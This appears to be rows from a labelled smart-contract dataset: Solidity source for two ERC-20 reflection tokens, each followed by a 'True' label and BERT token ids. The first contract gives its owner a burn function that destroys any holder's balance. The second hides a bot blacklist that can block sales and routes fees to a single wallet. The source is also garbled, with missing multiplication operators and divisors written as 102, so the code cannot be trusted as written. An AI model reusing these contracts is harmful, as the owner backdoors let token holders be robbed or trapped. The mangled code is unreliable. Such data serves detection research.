external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract PlatinumeDoge is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; address private _charityWalletAddress = 0x84563fDE041E3f59Ae70C0B152c9a84f5784C46A; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 21000000000 10*6 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "eDoge"; string private _symbol = "eDoge"; uint8 private _decimals = 9; uint256 public _taxFee = 3; uint256 private _previousTaxFee = _taxFee; uint256 public _charityFee = 4; uint256 private _previousCharityFee = _charityFee; uint256 public _liquidityFee; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 5000000 10*6 10*9; uint256 private numTokensSellToAddToLiquidity = 500000 10*6 109; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[owner()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already included"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeCharity(tCharity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setCharityFeePercent(uint256 charityFee) external onlyOwner() { _charityFee = charityFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 102 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, tCharity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity, tCharity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tCharity = calculateCharityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity).sub(tCharity); return (tTransferAmount, tFee, tLiquidity, tCharity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rCharity = tCharity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity).sub(rCharity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply \|\| _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function _takeCharity(uint256 tCharity) private { uint256 currentRate = _getRate(); uint256 rCharity = tCharity.mul(currentRate); _rOwned[_charityWalletAddress] = _rOwned[_charityWalletAddress].add(rCharity); if(_isExcluded[_charityWalletAddress]) _tOwned[_charityWalletAddress] = _tOwned[_charityWalletAddress].add(tCharity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 102 ); } function calculateCharityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_charityFee).div( 102 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousCharityFee = _charityFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _charityFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _charityFee = _previousCharityFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] \|\| _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeCharity(tCharity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeCharity(tCharity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeCharity(tCharity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _rOwned[account] = _rOwned[account].sub(amount, "ERC20: burn amount exceeds balance"); _tTotal = _tTotal.sub(amount); emit Transfer(account, address(0), amount); } function burn(address account, uint256 amount) public onlyOwner { _burn(account,amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5757, 1011, 5757, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1017, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 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/** Submitted for verification at Etherscan.io on 2021-10-14 / // SPDX-License-Identifier: Unlicensed /* BabyMarvinToken https://t.me/genshinimpacterc / pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GenshinImpactERC is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; address payable private _feeAddrWallet3; string private constant _name = "Genshin Impact"; string private constant _symbol = "GenshinImpact"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x038560bD2cd22c7f771B16B1543c10d3f8b4Df90); _feeAddrWallet2 = payable(0x038560bD2cd22c7f771B16B1543c10d3f8b4Df90); _feeAddrWallet3 = payable(0x038560bD2cd22c7f771B16B1543c10d3f8b4Df90); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = 1; _feeAddr2 = 10; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 300000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount/3); _feeAddrWallet2.transfer(amount/3); _feeAddrWallet3.transfer(amount/3); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4000000 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2184, 1011, 2403, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1013, 1008, 3336, 7849, 6371, 18715, 2368, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 8991, 17426, 5714, 19498, 3334, 2278, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 